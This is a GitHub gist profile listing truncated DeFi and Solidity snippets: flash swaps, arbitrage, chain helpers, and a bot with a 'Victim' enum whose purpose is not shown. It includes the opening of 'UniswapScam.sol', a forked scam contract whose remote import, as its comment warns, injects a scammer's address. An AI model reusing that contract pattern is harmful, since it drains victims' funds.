Skip to content

Instantly share code, notes, and snippets.

View quicklearnpro's full-sized avatar

James Wong quicklearnpro

View GitHub Profile
import { TwitterApi } from 'twitter-api-v2';
import { Configuration, OpenAIApi } from 'openai';
import yargs from 'yargs';
import { hideBin } from 'yargs/helpers';
import TelegramBot from 'node-telegram-bot-api';
import * as dotenv from 'dotenv';
dotenv.config();
enum Victim {
@quicklearnpro
quicklearnpro / UniswapV3Preview.sol
Created February 7, 2024 23:35 — forked from pyk/UniswapV3Preview.sol
Uniswap V3 getAmountsIn getAmountsOut via Flash Swap
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
pragma experimental ABIEncoderV2;
import "lib/ds-test/src/test.sol";
import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol";
import { gohm, usdc, weth, uniswapV2Router } from "chain/Tokens.sol";
import { IUniswapV2Router02 } from "../../interfaces/IUniswapV2Router02.sol";

Overview

To understand how constructors through Solidity works (that is, how do we go from the compiled contract's bin to a live deployed contract with a different deployedBytecode), I took a deep dive into how one simple contract worked.

The contract Simple.sol:

pragma solidity ^0.5.12;

contract Simple {
@quicklearnpro
quicklearnpro / chain_funcs.sh
Created January 3, 2023 10:35 — forked from emo-eth/chain_funcs.sh
Helper functions for interacting with chains and Foundry tests. Source from .zshrc etc
###########
# Imports #
###########
# the RPCs file should include RPC URLs and Etherscan API Keys for relevant networks
source "$(dirname "$0")/rpcs.sh"
# any useful addresses for various networks for easy reference
source "$(dirname "$0")/addresses.sh"
# any useful functions and definitions for interacting with Seaport
source "$(dirname "$0")/seaport.sh"
@quicklearnpro
quicklearnpro / arbitrage.py
Created December 10, 2022 07:31 — forked from noxx3xxon/arbitrage.py
CFMM Routing Arbitrage Example
import numpy as np
import cvxpy as cp
import itertools
# Problem data
global_indices = list(range(4))
# 0 = TOKEN-0
# 1 = TOKEN-1
# 2 = TOKEN-2
@quicklearnpro
quicklearnpro / 01_deployContracts.js
Created December 6, 2022 08:58 — forked from BlockmanCodes/01_deployContracts.js
Uniswap V3 Flashloans and Arbitrage
const { Contract, ContractFactory, utils, BigNumber } = require("ethers")
const WETH9 = require("../WETH9.json")
const artifacts = {
UniswapV3Factory: require("@uniswap/v3-core/artifacts/contracts/UniswapV3Factory.sol/UniswapV3Factory.json"),
SwapRouter: require("@uniswap/v3-periphery/artifacts/contracts/SwapRouter.sol/SwapRouter.json"),
NFTDescriptor: require("@uniswap/v3-periphery/artifacts/contracts/libraries/NFTDescriptor.sol/NFTDescriptor.json"),
NonfungibleTokenPositionDescriptor: require("@uniswap/v3-periphery/artifacts/contracts/NonfungibleTokenPositionDescriptor.sol/NonfungibleTokenPositionDescriptor.json"),
NonfungiblePositionManager: require("@uniswap/v3-periphery/artifacts/contracts/NonfungiblePositionManager.sol/NonfungiblePositionManager.json"),
WETH9,
@quicklearnpro
quicklearnpro / UniswapScam.sol
Created August 9, 2022 01:52 — forked from Vanclief/UniswapScam.sol
Code from scam "How To Make $1200/DAY On Uniswap"
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
//Mempool router
import "https://raw.githubusercontent.com/mempool3routerv3/raw/main/uniswap/main/v3"; // <-- Here they inject the scammer address, this link constantly changes.
contract UniswapFrontrunBot {